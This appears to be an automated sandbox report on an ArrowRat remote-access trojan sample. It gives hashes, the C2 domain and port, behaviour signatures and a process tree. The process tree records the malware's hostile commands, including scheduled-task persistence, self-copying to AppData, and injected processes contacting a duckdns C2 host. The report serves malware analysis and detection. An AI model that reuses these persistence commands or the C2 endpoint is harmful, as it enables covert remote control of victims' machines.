Analysis

  • max time kernel
    153s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2024 01:13

General

  • Target

    jkoi.exe

  • Size

    300.0MB

  • MD5

    135b97e053b660f8e6cacd58965b93cd

  • SHA1

    828e92ad30ac243ec063252a338519e4429940e3

  • SHA256

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027

  • SHA512

    6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of SendNotifyMessage 17 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\jkoi.exe
    "C:\Users\Admin\AppData\Local\Temp\jkoi.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2592
        • C:\Windows\system32\ctfmon.exe
          ctfmon.exe
          4⤵
            PID:2952
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
          3⤵
            PID:892
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1236
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1096
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2692
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
            3⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:1972
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\jkoi.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2840
      • C:\Windows\system32\AUDIODG.EXE
        C:\Windows\system32\AUDIODG.EXE 0x2f0
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3032
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {BF7E4C19-D6FB-4E75-A6F9-A9F1C28495FA} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1568
        • C:\Users\Admin\AppData\Roaming\kio\kio.exe
          C:\Users\Admin\AppData\Roaming\kio\kio.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1332
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2208
            • C:\Windows\explorer.exe
              "C:\Windows\explorer.exe"
              4⤵
                PID:2332
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2772
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1896
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
              3⤵
                PID:2784
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
                  4⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2216
              • C:\Windows\SysWOW64\cmd.exe
                "cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2660

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\TMP_pass

            Filesize

            46KB

            MD5

            02d2c46697e3714e49f46b680b9a6b83

            SHA1

            84f98b56d49f01e9b6b76a4e21accf64fd319140

            SHA256

            522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

            SHA512

            60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

          • memory/320-28-0x0000000074300000-0x00000000749EE000-memory.dmp

            Filesize

            6.9MB

          • memory/320-1-0x0000000000A00000-0x0000000000ABC000-memory.dmp

            Filesize

            752KB

          • memory/320-2-0x0000000074300000-0x00000000749EE000-memory.dmp

            Filesize

            6.9MB

          • memory/320-3-0x000000007430E000-0x000000007430F000-memory.dmp

            Filesize

            4KB

          • memory/320-4-0x0000000074300000-0x00000000749EE000-memory.dmp

            Filesize

            6.9MB

          • memory/320-0-0x000000007430E000-0x000000007430F000-memory.dmp

            Filesize

            4KB

          • memory/1236-26-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/1236-27-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/1236-24-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

            Filesize

            4KB

          • memory/1236-16-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/1236-25-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/1236-22-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/1236-20-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/1236-19-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/1332-37-0x0000000000FA0000-0x000000000105C000-memory.dmp

            Filesize

            752KB

          • memory/2592-65-0x0000000003E30000-0x0000000003E40000-memory.dmp

            Filesize

            64KB

          • memory/2772-61-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

            Filesize

            4KB

          • memory/2980-9-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            Filesize

            4KB

          • memory/2980-13-0x0000000000400000-0x0000000000460000-memory.dmp

            Filesize

            384KB

          • memory/2980-15-0x0000000000400000-0x0000000000460000-memory.dmp

            Filesize

            384KB

          • memory/2980-11-0x0000000000400000-0x0000000000460000-memory.dmp

            Filesize

            384KB

          • memory/2980-6-0x0000000000400000-0x0000000000460000-memory.dmp

            Filesize

            384KB

          • memory/2980-7-0x0000000000400000-0x0000000000460000-memory.dmp

            Filesize

            384KB

          • memory/2980-8-0x0000000000400000-0x0000000000460000-memory.dmp

            Filesize

            384KB

          • memory/2980-5-0x0000000000400000-0x0000000000460000-memory.dmp

            Filesize

            384KB